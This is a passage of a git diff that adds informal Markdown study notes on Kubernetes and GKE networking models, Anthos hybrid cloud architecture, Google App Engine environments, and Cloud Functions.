apps from VMs to containers. If the job previously ran in a VM, the VM had an IP and could talk to other VMs in the project. This is the same basic model. + + +- Kubernetes IP addresses exist at the Pod scope - containers within a Pod share their network namespaces - including their IP address and MAC address. + - called the "IP-per-pod" model. + - containers within a Pod can all reach each other's ports on localhost. + - containers within a Pod must coordinate port usage, but this is no different from processes in a VM. + +- How this is implemented is a detail of the particular container runtime in use. + +- It is possible to request ports on the Node itself which forward to the Pod (called host ports), but this is a very niche operation. How that forwarding is implemented is also a detail of the container runtime. The Pod itself is blind to the existence or non-existence of host ports. + +### Kubernetes networking concerns + +Kubernetes networking addresses 4 concerns: +- `Containers within a Pod use networking` to communicate via loopback. + +- `Cluster networking` provides communication between different Pods. + +- Use `Service API` expose an app running in Pods to be reachable from outside the cluster. + + - `Ingress` provides extra functionality specifically for exposing HTTP applications, websites and APIs. + +- Use `Services` to publish services only for consumption inside the cluster. + + + +##### Container to container + +- All `containers` within a pod behave as if they are on the same host with regard to networking. +- They can all reach each other's ports on localhost. + +benefit +- offers simplicity (static ports know a priori), security (ports bound to localhost are visible within the pod but never outside it), and performance. +- reduces friction for applications moving from the world of uncontainerized apps on physical or virtual hosts. +- People running application stacks together on the same host have already figured out how to make ports not conflict and have arranged for clients to find them. + +- reduce isolation between containers within a pod — ports could conflict, and there can be no container-private ports, but these seem to be relatively minor issues with plausible future workarounds. + +- Besides, the premise of pods is that `containers within a pod share some resources (volumes, cpu, ram, etc.)` and therefore expect and tolerate reduced isolation. + +- Additionally, the user can control what containers belong to the same pod whereas, in general, they don't control what pods land together on a host. + + + +##### Pod to Pod + +- Every pod gets a "real" (not machine-private) IP address, pods can communicate without proxies or translations. + +- The pod can use well-known port numbers and can avoid the use of higher-level service discovery systems like DNS-SD, Consul, or Etcd. + +- When any container calls `ioctl (SIOCGIFADDR)` (get the address of an interface), it sees the same IP that any peer container would see them coming from - each pod has its own IP address that other pods can know. + + - By making IP addresses and ports the same both inside and outside the pods, we create a `NAT-less, flat address space`. + + - Running "ip addr show" should work as expected. + + +- This would enable all existing naming/discovery mechanisms to work out of the box, including self-registration mechanisms and applications that distribute IP addresses. + +- We should be optimizing for inter-pod network communication. + +- Within a pod, containers are more likely to use communication through `volumes (e.g., tmpfs) or IPC`. + +This is different from the standard Docker model. +- In that mode, each container gets an IP in the 172-dot space and would only see that 172-dot address from `SIOCGIFADDR`. +- If these containers connect to another container the peer would see the connect coming from a different IP than the container itself knows. +- In short — you can never self-register anything from a container, because a container can not be reached on its private IP. + +Kubernets: +- have an additional layer of addressing: pod-centric IP per container. +- Each container would have its own local IP address, visible only within that pod. +- make it easier for containerized applications to move from physical/virtual hosts to pods, but would be more complex to implement (e.g., requiring a bridge per pod, split-horizon/VP DNS) and to reason about, due to the additional layer of address translation, and would break self-registration and IP distribution mechanisms. + +Like Docker, ports can still be published to the host node's interface(s), but the need for this is radically diminished. + + +##### Pod to Service + +- The `service` abstraction provides a way to group pods under a common access policy (e.g. load-balanced). + +- The implementation of this creates a `virtual IP` which clients can access and which is transparently proxied to the pods in a Service. + +- Each node runs a kube-proxy process which programs iptables rules to trap access to service IPs and redirect them to the correct backends. + +- This provides a highly-available load-balancing solution with low performance overhead by balancing client traffic from a node on that same node. + + + +##### External to Internal + +- The way this is generally implemented is to set up external load balancers (e.g. GCE's ForwardingRules or AWS's ELB) which target all nodes in a cluster . + +- When traffic arrives at a node it is recognized as being part of a particular Service and routed to an appropriate backend Pod . + +- This does mean that some traffic will get double-bounced on the network + + + +#### Typical network model implementations + + +You can implement the Kubernetes networking model in various ways. + +However, any implementation always needs to fulfill the following requirements: + +- Every Pod needs a unique IP address. +- Pods can communicate with other Pods on all nodes without using NAT. +- Agents on a node, such as the kubelet, can communicate with all Pods on that node. +- Pods on the host network of a node can communicate with all Pods on all nodes without using NAT. + +##### Fully integrated / flat network model + +- offers ease of communications with applications outside Kubernetes and in other Kubernetes clusters. + +- Major cloud service providers commonly implement this model because those providers can tightly integrate their Kubernetes implementation with their software-defined network (SDN). + +- When use the fully integrated model, the IP addresses that use for Pods are routed within the network in which the Kubernetes cluster sits. + - Also, the underlying network knows on which node the Pod IP addresses are located. + - In many implementations, Pod IP addresses on the same node are from a specific, pre-assigned Pod IP address range. But this pre-assigned address range is not a requirement. + +Pod communication options in the fully integrated networking model: +- Pods within a Kubernetes cluster can communicate directly with each other. +- Pods can communicate with other Pods in other clusters when those clusters are within the same network. +- Pods don't need NAT to communicate with other applications outside the cluster, regardless of whether those applications are in the same network or interconnected networks. + +![Screenshot 2023-07-11 at 00.44.52](/assets/img/Screenshot%202023-07-11%20at%2000.44.52_z51i25sjv.png) + + +Advantages: + +- **Better telemetry data**. + - Pod IP addresses are visible throughout the network. + - makes telemetry data more useful than in other models because Pods can be identified even from telemetry data that is collected outside the cluster. + +- **Easier firewall configuration**. + - When setting firewall rules, differentiating node and Pod traffic is easier in the fully integrated network model than in the other models. + +- **Better compatibility**. Pods can communicate using protocols that don't support NAT. + +- **Better debugging**. If allowed by the firewall, resources outside the cluster can reach Pods directly during the debugging process. + +- **Compatibility with service meshes**. + - Service meshes, such as Istio or Anthos Service Mesh, can easily communicate across clusters because Pods can communicate directly with each other. + - Some service mesh implementations only support Pod-to-Pod connectivity for multi-cluster service meshes. + +Disadvantages: + +- **IP address usage**. + - You can't reuse Pod IP addresses within the network, and each IP address must be unique. + - can lead to a large number of IP addresses that need to be reserved for Pods. + +- **SDN requirements**. + - A fully integrated network model requires a deep integration with the underlying network because the Kubernetes implementation needs to program the SDN directly. + - The programming of the SDN is transparent for the user and doesn't produce any user-facing disadvantages. + - However, such deeply integrated network models can't be easily implemented in self-managed, on-premises environments. + +The fully integrated network model is available in the following implementations: + +- By default, GKE implements this model. +- By default, Amazon EKS implements this model. + - Amazon EKS uses the Amazon VPC Container Networking interface (CNI) Plugin for Kubernetes to assign Pod IP addresses directly from the VPC address space. The CNI plugin assigns IP addresses from either the default subnet in which the nodes are in or from a custom subnet. Pod IP addresses do not come from a dedicated Pod IP address range per node. +- In Azure, AKS implements this model when using Azure CNI (advanced networking). This implementation is not the default configuration. In this implementation, each Pod gets an IP address from the subnet. You can also configure the maximum number of Pods per node. Thus, the number of IP addresses reserved in advance for Pods on that node is the same as the maximum number of Pods per node. + +##### Island-mode / bridged network model + +- commonly used for on-premises Kubernetes implementations where no deep integration with the underlying network is possible. + + +Pod communication options in an island-mode networking model: +- Pods in a Kubernetes cluster can communicate to resources outside of the cluster through some kind of gateway or proxy. +- Pods in a Kubernetes cluster can communicate directly with each other. +- Pods in a Kubernetes cluster need to use a gateway or proxy when communicating with either applications outside the cluster or Pods in other clusters. +- communication between a cluster and an external application requires a single gateway, +- cluster-to-cluster communication requires two gateways. + - Traffic between two clusters passes through a gateway when leaving the first cluster and another gateway when entering the other cluster. + +![Screenshot 2023-07-11 at 00.45.13](/assets/img/Screenshot%202023-07-11%20at%2000.45.13_wzzpj4o3m.png) + +two most common gateways or proxies: + +- Using the nodes as gateways. + - commonly used when nodes in the cluster are part of the existing network and their IP addresses are natively routable within this network. + - the nodes themselves are the gateways that provide connectivity from inside the cluster to the larger network. Egress traffic from a Pod to outside of the cluster can be directed toward either other clusters or toward non-Kubernetes applications, for example to call an on-premises API on the corporate network. For this egress traffic, the node that contains the Pod uses source NAT (SNAT) to map the Pod's IP address to the node IP address. To allow applications that are outside of the cluster to communicate with Services within the cluster, you can use the NodePort service type for most implementations. In some implementations, you can use the LoadBalancer service type to expose Services. When using the LoadBalancer service type, you give those Services a virtual IP address that is load balanced between nodes and routed to a pod that is part of the Service. + - the diagram shows the: + - Nodes as gateways doesn't impact Pod-to-Pod communication within a cluster. + - Pods in a cluster still communicate with each other directly + - Pods communicate to other clusters or non-Kubernetes applications by using SNAT when leaving the node. + - traffic from outside Services in other clusters or non-Kubernetes applications enters the cluster through a NodePort service before being forwarded to the correct Pod in the cluster. + +![Screenshot 2023-07-11 at 00.45.25](/assets/img/Screenshot%202023-07-11%20at%2000.45.25_c38x9udw7.png) + +- Using proxy virtual machines (VMs) with multiple network interfaces. This implementation pattern uses proxies to access the network that contains the Kubernetes cluster. The proxies must have access to the Pod and node IP address space. In this pattern, each proxy VM has two network interfaces: one interface in the larger enterprise network and one interface in the network containing the Kubernetes cluster. + - the diagram shows the: + - using proxies in island-mode doesn't have an impact on communication within a cluster. + - Pods in a cluster can still communicate with each other directly. + - communication from Pods to other clusters or non-Kubernetes applications passes through a proxy that has access to both the cluster's network and to the destination network. + - communication entering the cluster from outside also passes through the same kind of proxy. + +![Screenshot 2023-07-11 at 00.45.36](/assets/img/Screenshot%202023-07-11%20at%2000.45.36_vdg3fepu8.png) + + + +Advantages: +- **IP address usage**. + - Pod IP addresses in the cluster can be reused in other clusters. + - However, IP addresses that are already used by external services in the enterprise network can't be used for Pods if communication needs to happen between the Pods and those services. + - Therefore, the best practice for island-mode networking is to reserve a Pod IP address space that is unique within the network, and to use this IP address space for all clusters. + +- **Easier security settings**. Because Pods aren't directly exposed to the rest of the enterprise network, you don't need to secure the Pods against ingress traffic from the rest of the enterprise network. + + +Disadvantages: +- **Imprecise Telemetry**. Telemetry data collected outside of the cluster only contains the node IP address, not the Pod IP address. The lack of Pod IP addresses makes it harder to identify the source and destination of traffic. + +- **Harder to debug**. When debugging, you can't connect directly to Pods from outside of the cluster. + +- **Harder to configure firewalls**. You can only use node IP addresses when you configure the firewall. Thus, the resulting firewall settings either allow all Pods on a node and the node itself to reach outside services, or allow none of them to reach outside services. +Compatibility with service meshes. With island-mode, direct Pod-to-Pod communication across clusters in service meshes, such as Istio or Anthos Service Mesh, isn't possible. + +There are further restrictions with some service mesh implementations. Anthos Service Mesh multi-cluster support for GKE clusters on Google Cloud supports only clusters on the same network. For Istio implementations that support a multi-network model, communication has to occur through Istio Gateways, which makes multi-cluster service mesh deployments more complex. + + +The island-mode network model is available in the following implementations: + +- By default, Azure Kubernetes Service (AKS) uses island-mode networking when using Kubenet (basic) networking. When AKS uses island-mode networking, the virtual network that contains the cluster includes only node IP addresses. Pod IP addresses are not part of the virtual network. Instead, Pods receive IP addresses from a different logical space. The island-mode model used by AKS also routes Pod-to-Pod traffic between nodes by using user-defined routes with IP forwarding activated on the nodes interface. For Pod communication to resources outside of the cluster, the node uses SNAT to map the Pod IP address to the node IP address before the egress traffic exits the node. +- In Oracle Container Engine for Kubernetes (OKE), Pod-to-Pod communication uses a VXLAN overlay network. Also, the traffic from Pods to applications outside the cluster uses SNAT to map the Pod IP address to the node IP address. + + +##### Isolated network model + +The isolated (or air-gapped) network model is most commonly used for clusters that do not need access to the larger corporate network except through public-facing APIs. When you use an isolated network model, each Kubernetes cluster is isolated and can't use internal IP addresses to communicate with the rest of the network. The cluster sits on its own private network. If any Pod in the cluster needs to communicate with services outside of the cluster, this communication needs to use public IP addresses for both ingress and egress. + +The following diagram shows Pod communication options in an isolated network model: + +![Screenshot 2023-07-11 at 00.45.48](/assets/img/Screenshot%202023-07-11%20at%2000.45.48_961pil8c2.png) +The preceding diagram of an isolated network model shows that Pods within a Kubernetes cluster can communicate directly with each other. The diagram also shows that Pods can't use internal IP addresses to communicate with Pods in other clusters. Furthermore, Pods can communicate with applications outside the cluster only when the following criteria are met: + +There is an internet gateway that connects the cluster to the outside. +The outside application uses an external IP address for communications. +Finally, the diagram shows how the same IP address space for Pods and nodes can be reused between different environments. + +The isolated network model is not commonly used by Kubernetes implementations. However, you could achieve an isolated network model in any implementation. You just need to deploy a Kubernetes cluster in a separate network or VPC without any connectivity to other services or the enterprise network. The resulting implementation would have the same advantages and disadvantages as the isolated network model. + +Using an isolated network mode has the following advantages: + +IP address usage. You can reuse all internal IP addresses in the cluster: node IP addresses, Service IP addresses, and Pod IP addresses. Reuse of internal IP addresses is possible because each cluster has its own private network and communication to resources outside the cluster only happens through public IP addresses. +Control. The cluster administrators have full control over IP addressing in the cluster and don't have to perform any IP address management tasks. For example, administrators can allocate the full 10.0.0.0/8 address space to Pods and Services in the cluster, even if these addresses are already used in the organization. +Security. Communication outside the cluster is tightly controlled and, when allowed, uses well-defined external interfaces and NAT. +Using an isolated network model has the following disadvantages: + +No private communication. Communication using internal IP addresses isn't allowed to other clusters or other services in the network. + + + +#### other + +##### Service +Expose an application running in the cluster behind a single outward-facing endpoint, even when the workload is split across multiple backends. + +##### Ingress +Make the HTTP (or HTTPS) network service available using a protocol-aware configuration mechanism, that understands web concepts like URIs, hostnames, paths, and more. The Ingress concept lets you map traffic to different backends based on rules you define via the Kubernetes API. + +##### Ingress Controllers +In order for an Ingress to work in the cluster, there must be an ingress controller running. You need to select at least one ingress controller and make sure it is set up in the cluster. This page lists common ingress controllers that you can deploy. + +##### EndpointSlices +The EndpointSlice API is the mechanism that Kubernetes uses to let the Service scale to handle large numbers of backends, and allows the cluster to update its list of healthy backends efficiently. + +##### Network Policies +If you want to control traffic flow at the IP address or port level (OSI layer 3 or 4), NetworkPolicies allow you to specify rules for traffic flow within the cluster, and also between Pods and the outside world. the cluster must use a network plugin that supports NetworkPolicy enforcement. + +##### DNS for Services and Pods +the workload can discover Services within the cluster using DNS; this page explains how that works. + +##### IPv4/IPv6 dual-stack +Kubernetes lets you configure single-stack IPv4 networking, single-stack IPv6 networking, or dual stack networking with both network families active. This page explains how. + +##### Topology Aware Routing +Topology Aware Routing provides a mechanism to help keep network traffic within the zone where it originated. Preferring same-zone traffic between Pods in the cluster can help with reliability, performance (network latency and throughput), or cost. + +##### Networking on Windows + +##### Service ClusterIP allocation + +##### Service Internal Traffic Policy +If two Pods in the cluster want to communicate, and both Pods are actually running on the same node, use Service Internal Traffic Policy to keep network traffic within that node. Avoiding a round trip via the cluster network can help with reliability, performance (network latency and throughput), or cost. + +##### Topology-aware traffic routing with topology keys + + + + +--- + +#### GKE networking model + +![Screenshot 2023-07-11 at 00.46.00](/assets/img/Screenshot%202023-07-11%20at%2000.46.00_p6d9tme4s.png) + +- GKE uses a **fully integrated network model** where clusters are deployed in a VPC network that can also contain other applications. + +- recommend using a VPC-native cluster for the GKE environment. You can create the VPC-native cluster in either `Standard` or `Autopilot`. + - If you choose Autopilot mode, VPC-native mode is always on and cannot be turned off. + +- When use a VPC-native cluster, Pod IP addresses are `secondary IP addresses` on each node. +- Each node is assigned a specific subnet of a Pod IP address range that select out of the internal IP address space when create the cluster. +- By default, a VPC-native cluster assigns a /24 subnet (256 IP addresses) to each node for use as Pod IP addresses. +- In Autopilot, the cluster uses a /26 subnet that corresponds to 64 addresses, and you can't change this subnet setting. + +Because Pod IP addresses are routable within the VPC network, Pods can receive traffic, by default, from the following resources: + +From other services in the VPC network. +From VPC networks connected through VPC Network Peering. +From connected on-premises networks through Cloud VPN or Cloud Interconnect. +When you communicate from Pods to services outside the cluster, the IP masquerade agent governs how traffic appears to those services. The IP masquerade agent handles private and external IP addresses differently as outlined in the following bullets: + +By default, the IP masquerade agent doesn't masquerade traffic to internal IP addresses, including RFC 1918 IP addresses, and non-RFC 1918 IP addresses that are commonly used internally. (For more information, see the list of default non-masquerade destinations). Because the internal IP addresses aren't masqueraded, the node doesn't use NAT on those addresses. +For external IP addresses, the IP masquerade agent does masquerade those addresses to the node IP address. Thus, those masqueraded addresses are translated to an external IP address by Cloud NAT or to the external IP address of the virtual machine (VM) instance. +You can also use privately used public IP (PUPI) addresses inside the VPC network or connected networks. If you use PUPI addresses, you can still benefit from the fully integrated network model and see the Pod IP address directly as a source. To achieve both of these goals, you have to include the PUPI addresses in the nonMasqueradeCIDRs list. + +The following diagram shows how Pods can communicate in the GKE networking model: + +Network diagram that shows the communication patterns in the GKE network model. + +The preceding diagram shows how Pods in GKE environments can use internal IP addresses to communicate directly with the following resources: + +Other Pods in the same cluster. +Pods in other GKE clusters in the same VPC network. +Other Google Cloud applications in the same VPC network. +On-premises applications connected through Cloud VPN. +The diagram also shows what happens when a Pod needs to use an external IP address to communicate with an application. As the traffic leaves the node, the node in which the Pod resides uses SNAT to map the Pod's IP address to the node's IP address. After the traffic leaves the node, Cloud NAT then translates the node's IP address to an external IP address. + +For the benefits described previously in this document, especially for the benefit of having Pod IP addresses visible in all telemetry data, Google has chosen a fully integrated network model. In GKE, Pod IP addresses are exposed in VPC Flow Logs (including Pod names in metadata), Packet Mirroring, Firewall Rules Logging, and in the own application logs for non-masqueraded destinations. + + + +--- + +#### GKE networking configuration + +The networking quotas for GKE, such as endpoints per Service and API request limits. + +The following resources will help you to plan specific aspects of the networking setup: + +Networking options inside and outside the cluster, read the GKE networking overview. + +Best practices for GKE networking. + +Optimize the IP address management, read the GKE address management series. + +To learn what firewall rules GKE creates based on the Kubernetes resources you create, refer to Automatically created firewall rules. + + +### Expose workloads +To expose the apps to the internet, use Services, which let you expose an app running in a group of Pods as a single network service. +To configure workloads to securely communicate with Google Cloud APIs, use Workload Identity. + + +### MCS - multi-cluster Services +Run highly-available connected services in multiple clusters Use multi-cluster Services (MCS). + +### Load balance + +Load balance incoming traffic +To load balance external HTTP(S) traffic to multiple Services based on URIs and paths, for example a complex web application, use Ingress for external Application Load Balancers. +To load balance external traffic to a single Service, such as a Deployment running a public email server, use a LoadBalancer Service to create an external passthrough Network Load Balancer. +To load balance internal HTTP(S) traffic to multiple Services based on URIs and paths, such as with a web application in the company intranet, use Ingress for internal Application Load Balancers. +To load balance internal traffic to a single Service, such as with a corporate email server, use an internal passthrough Network Load Balancer. + + +### cluster network security +Configure cluster network security +To control or prevent access to the cluster from the public internet, create private clusters. +To restrict control plane access to specific IP address ranges, use control plane authorized networks. +To control Pod traffic at the IP address or port level, use network policies. Autopilot clusters use GKE Dataplane V2 to route packets with low latency using eBPF. + + + + +--- + +# modern Hybrid on Multi-Cloud Computing (Anthos) + +--- + +## on-premises distributed systems architecture. + +![Screen Shot 2021-02-07 at 23.20.20](https://i.imgur.com/dX9TDe3.png) + +> how business is traditionally made the enterprise computing needs before cloud computing. + +- most enterprise scale applications are designed as distributed systems. + - Spreading the computing workload required to provide services over two or more network servers. + - containers can break these workloads down into microservices, + - more easily maintained and expanded. +- Traditionally, Enterprise systems and workloads, containerized or not, have been housed on-premises, + - housed on a set of high-capacity servers running in the company's network or data center. + +- on-premises systems + - When an application's computing needs begin to outstrip its available computing resources + - would need to procure more powerful servers. + - Install them on the company network after any necessary network changes or expansions. + - Configure the new servers + - and finally load the application and it's dependencies onto the new servers before resource bottlenecks could be resolved. + - shortcut + - The time required to complete an on-premises upgrade could be from months to years. + - also costly, the useful lifespan of the average server is only three to five years. + + +> what if need more computing power now, not months from now? +> What if the company wants to begin to relocate some workloads away from on-premises to the Cloud to take advantage of lower cost and higher availability, but is unwilling or unable to move the enterprise application from the on-premises network? +> What if want to use specialized products and services that only available in the Cloud? +> This is where a modern hybrid or multi-cloud architecture can help. + +--- + +## modern hybrid ON multi-cloud architecture + +- creating an environment uniquely suited to the company's needs. + - keep parts of the systems infrastructure on-premises + - Move only specific workloads to the Cloud at the own pace + - because a full scale migration is not required for it to work. + +- benefits: + - Take advantage of the cloud services for running the workloads decide to migrate. + - flexibility, scalability, and lower computing costs + - Add specialized services to the computing resources tool kit. + - such as machine learning, content caching, data analysis, long-term storage, and IoT + +- the adoption of hybrid architecture for powering distributed systems and services. + + +--- + +# Anthos + +- modern solution for hybrid and multi-cloud distributed systems and service management + - powered by the latest innovations in distributed systems, and service management software from Google. +- On-permises and Cloud environments stay in sync + - The Anthos framework rests on Kubernetes and GKE on-prem. +- provides + - the foundation for an architecture + - the foundation that is fully integrated with centralized management through a central control plane that supports policy based application lifecycle delivery across hybrid and multi-cloud environments + - a rich set of tools + - Manage sevices on-permises and in the cloud + - monitor systems and services + - for monitoring and maintaining the consistency of the applications across all network (on-premises, Cloud, multiple clouds) + - migrate application from VMs into the clusters + - maintain consistent policies across across all network (on-premises, Cloud, multiple clouds) + +--- + +## build a modern hybrid infrastructure stack with Anthos. + +![Screen Shot 2021-02-07 at 23.50.31](https://i.imgur.com/7LTuSeN.png) + + +- Google Kubernetes Engine on the Cloud site of the hybrid network. + - Google Kubernetes Engine is a managed production-ready environment for deploying containerized applications + - Operates seamlessly with high availability and an SLA. + - Runs certified Kubernetes ensuring portability across clouds and on-premises. + - Includes auto-node repair, and auto-upgrade, and auto-scaling. + - Uses regional clusters for high availability with multiple masters. + - Node storage replication across multiple zones. + +- Google Kubernetes Engine deployed ON-PREM + - a turn-key production-grade conformed version of Kubernetes + - with the best practice configuration already pre-loaded. + - Provides + - easy upgrade path to the latest validated Kubernetes releases by Google. + - Provides access to container services on Google Cloud platform, + - such as Cloud build, container registry, audit logging, and more. + - integrates with Istio, Knative and Marketplace Solutions + - Ensures a consistent Kubernetes version and experience across Cloud and on-premises environments. + +- Marketplace + - both Google Kubernetes Engine in the Cloud and Google Kubernetes Engine deployed on-premises integrate with Marketplace + - so all of the clusters in network (on-premises or in the Cloud), have access to the same repository of containerized applications. + - benefits: + - use the same configurations on both the sides of the network, + - reducing the time spent developing applications. + - use ones replicate anywhere + - maintaining conformity between the clusters. + +> Enterprise applications may use hundreds of microservices to handle computing workloads. +> Keeping track of all of these services and monitoring their health can quickly become a challenge. + + + +- Anthos + - an Istio Open Source service mesh + - take these guesswork out of managing and securing the microservices. + +- Cloud interconnect + - These service mesh layers communicate across the hybrid network by Cloud interconnect + - to sync and pass their data. + +- Stackdriver + - the built-in logging and monitoring solution for Google Cloud. + - offers a fully managed logging, metrics collection, monitoring dashboarding, and alerting solution that watches all sides of the hybrid on multi-cloud network. + - the ideal solution for single easy configure powerful cloud-based observability solution + - a single pane of class dashboard to monitor all of the environments. + +- Anthos Configuration Management + - provides + - a single source of truth for the clusters configuration. + - source of truth is kept in the policy repository, a git repository. + - this repository can be located on-premises or in the Cloud. + - deploy code changes with a single repository commit. + - implement configuration inheritance, by using namespaces. + +- Anthos Configuration Management agents + - use the policy repository to enforce configurations locally in each environment, + - managing the complexity of owning clusters across environments. + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01GCP/Compute/VM/2021-01-01-AppEngine.md b/_posts/01Cloud/01GCP/Compute/VM/2021-01-01-AppEngine.md new file mode 100644 index 00000000000..22ca3ee8506 --- /dev/null +++ b/_posts/01Cloud/01GCP/Compute/VM/2021-01-01-AppEngine.md @@ -0,0 +1,247 @@ +--- +title: GCP - Google Cloud Computing - App Engine +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Compute] +tags: [GCP] +toc: true +image: +--- + +- [Google Cloud Computing - App Engine](#google-cloud-computing---app-engine) + - [B asic](#b-asic) + - [App Engine Environments](#app-engine-environments) + - [Google App Engine Standard Environment](#google-app-engine-standard-environment) + - [use App Engine Standard Environment in practice](#use-app-engine-standard-environment-in-practice) + - [Google App Engine flexible Environment](#google-app-engine-flexible-environment) + - [comparison](#comparison) + - [Standard and Flexible.](#standard-and-flexible) + - [App Engine and Kubernetes Engine.](#app-engine-and-kubernetes-engine) + +--- + + +# Google Cloud Computing - App Engine + + +--- + + +## B asic + +compute infrastructure for applications: +- Compute Engine and Kubernetes Engine. +- choose the infrastructure in which the application runs. +- Based on virtual machines for Compute Engine and containers for Kubernetes Engine. + +> when don't want to focus on the infrastructure at all, but focus on the code. + +App Engine +- Platform as a Service +- fully managed serverless application framework. + - deploy an application on App Engine + - hand App Engine the code + - and the App Engine service takes care of the rest. + - focus on code and run code in the Cloud + - without worry about infrastructure. + - focus on building applications instead of deploying and managing the environment. + - Google deal with all the provisioning and resource management. + - no worry about building the highly reliable and scalable infrastructure + - zero server management or configuration deployments for deploying applications + - The App Engine platform manages the hardware and networking infrastructure for the code. + +- provides built-in services that many web applications need. + - code the application to take advantage of these services and App Engine provides them. + - `NoSQL databases, in-memory caching, load balancing, health checks, logging` and a `way to authenticate users`. + - could also `run container workloads`. + - `Stackdriver monitoring, logging, and diagnostics` + - such as debugging and error reporting are also tightly integrated with App Engine. + - use Stackdriver's real time debugging features to analyze and debug your source code. + - Stackdriver integrates with tools such as Cloud SDK, cloud source repositories, IntelliJ, Visual Studio, and PowerShell. + - App Engine also supports `version control and traffic splitting`. + +- scale the application automatically in response to the amount of traffic it receives. + +- only pay for those resources you use. + - no servers to provision or maintain. + +- App Engine offers two environments: + - standard and flexible + +- App Engine supports popular languages like Java and Node.js, Python, PHP, C#, .NET, Ruby, and Go. + +- especially suited for applications + - where the workload is highly variable or unpredictable + - like web applications and mobile backend. + - for websites, mobile apps, gaming backends, + - and as a way to present a RESTful API to the Internet + - an application program interface + - resembles the way a web browser interacts with the web server. + - RESTful APIs are easy for developers to work with and extend. + - And App Engine makes them easy to operate + + +--- + +## App Engine Environments + +--- + +### Google App Engine Standard Environment + + Google App Engine Standard Environment + +- simpler deployment experience than the Flexible environment and fine-grained auto-scale. +- a free daily usage quota for the use of some services. + - low utilization applications might be able to run at no charge. +- autoscale workloads +- usage based pricing + + + + App Engine software development kits + +- Google provides App Engine software development kits in several languages +- can test the application locally before you upload it to the real App Engine service. +- The SDKs also provide simple commands for deployment. + + +> what does my code actually run on? +> what exactly is the executable binary? + + + runtime + +- App Engine's term for this kind of binary is the runtime. +- In App Engine Standard Environment, use a runtime provided by Google. +- App Engine Standard Environment provides runtimes for specific versions of Java, Python, PHP and Go. +- The runtimes also include libraries that support App Engine APIs. +- for many applications, the Standard Environment runtimes and libraries may be all you need. + +> If you want to code in another language, Standard Environment is not right for you. +> consider the Flexible Environment. + + + Sandbox + +- The Standard Environment also enforces restrictions on the code by making it run in Sandbox +- a software construct that's independent of the hardware, operating system, or physical location of the server it runs on. +- The Sandbox is one of the reasons why App Engine Standard Environment can scale and manage the application in a very fine-grained way. +- Like all Sandboxes, it imposes some constraints. +- example + - application can't write to the local file system. + - have to write to a database service to make data persistent. + - all the requests the application receives has a 60-second timeout + - can't install arbitrary third party software. + +> If these constraints don't work, choose the Flexible Environment. + + +use App Engine Standard Environment in practice +--- + +![Screen Shot 2021-02-08 at 00.47.35](https://i.imgur.com/4uWzf1a.png) + + +1. develop the application and run a test version locally using the App Engine SDK. +2. use the SDK to deploy it. +3. App Engine automatically scales and reliably serves the web application + - Each App Engine application runs in a GCP project. + - Project > App Engine > App servers > App instances + - automatically provisions server instances and scales and load balances them. +4. the application can make calls to a variety of services using dedicated APIs. + - examples: + - a NoSQL data store to make data persistent, caching of that data using Memcache + - searching + - user logging, + - launch actions triggered by direct user requests, like task queues and a task scheduler + + + +### Google App Engine flexible Environment + + + App Engine flexible environment + +- build and deploy containerized apps with a click +- not sandbox constraints + - App Engine flexible environment lets you specify the container your App Engine runs in. + - Your application runs inside Docker containers on Google Compute Engine Virtual Machines, VMs. +- App Engine manages these Compute Engine machines for you. + - health checked, healed as necessary, + - critical backward-compatible updates to their operating systems are automatically applied. +- you + - choose which geographical region they run in + - and focus on your code. +- App Engine flexible environment apps use standard run times, +- can access App Engine services + - such as data store, memcached, task queues, and so on. + +--- + + +## comparison + +### Standard and Flexible. + +| term | Standard | Flexble | +| -------------------------- | ------------------------------------------------------ | ------------------------------------------------------ | +| instance startup | Milliseconds | Minutes | +| SSH access | No | Yes (not default) | +| Write to local disk | No | Yes (not default) | +| Support 3rd party binaries | No | Yes | +| Network access | Via App Engine services | Yes | +| Pricing model | free daily user, pay per instance class, auto shutdown | pay for resource allocation per hour, no auto shutdown | + + +Standard environment +- starts up instances of your application faster, + - but get less access to the infrastructure in which the application runs. +- Google provides and maintains runtime binaries +- Scaling is finer-grained +- billing can drop to zero for the completely idle application. + - free daily user, pay per instance class, auto shutdown + +Flexible environment +- SSH into the virtual machines on which your application runs. +- use local disk for scratch base +- install third-party software +- lets your application make calls to the network without going through App Engine. + + +--- + + +### App Engine and Kubernetes Engine. + +![Screen Shot 2021-02-09 at 00.23.50](https://i.imgur.com/vFIOA1G.png) + +**App Engine standard environment** +- who want the service to take maximum control of their application's deployment and scaling. + +**Kubernetes Engine** +- gives the application owner the full flexibility of Kubernetes. + +App Engine flexible edition is somewhere in between. +Also, App Engine environment treats containers as a means to an end, but for Kubernetes Engine, containers are a fundamental organizing principle. + + + +--- + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01GCP/Compute/VM/2021-01-01-CloudFunctions.md b/_posts/01Cloud/01GCP/Compute/VM/2021-01-01-CloudFunctions.md new file mode 100644 index 00000000000..df08ff3b8bb --- /dev/null +++ b/_posts/01Cloud/01GCP/Compute/VM/2021-01-01-CloudFunctions.md @@ -0,0 +1,85 @@ +--- +title: GCP - Google Cloud Computing - Cloud Functions +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Compute] +tags: [GCP] +toc: true +image: +--- + +- [Google Cloud Computing - Cloud Functions](#google-cloud-computing---cloud-functions) + - [basic](#basic) + +--- + +# Google Cloud Computing - Cloud Functions + +--- + +## basic + + +![Screen Shot 2021-02-12 at 13.25.46](https://i.imgur.com/uuTClRK.png) + +> Many applications contain event-driven parts. +> - example, +> - application that lets users upload images. +> - need to process that image in various ways: +> - convert it to a standard image format, +> - thumbnail into various sizes, +> - and store each in a repository. +> - integrate this function in application, then you have to worry about providing compute resources for it, no matter whether it happens once a day or once a millisecond. +> - What if you could just make that provisioning problem go away? write a single purpose function that did the necessary image manipulations and then arrange for it to automatically run whenever a new image gets uploaded. + +- an event-driven + - serverless compute service + - for simple single purpose functions that are attached to events. + - lightweight, event-based, asynchronous compute solution. + - the function gets executed when a particular event occurs. + - create small, single-purpose functions that respond to cloud events without the need to manage a server or a runtime environment. + +- can be used to construct application workflows from individual business logic tasks. + +- create single-purpose functions that respond to events without servers or runtime binaries. + - just write code in JavaScript for a Node.js environment that GCP provides + - upload the code written in JavaScript or Python, or Go + - configure when it should fire + - setting up a Cloud Function works. + - choose which events you care about. + - triggers: For each event type, you tell Cloud Functions you're interested in it. + - attach JavaScript functions to the triggers. + - and then GCP 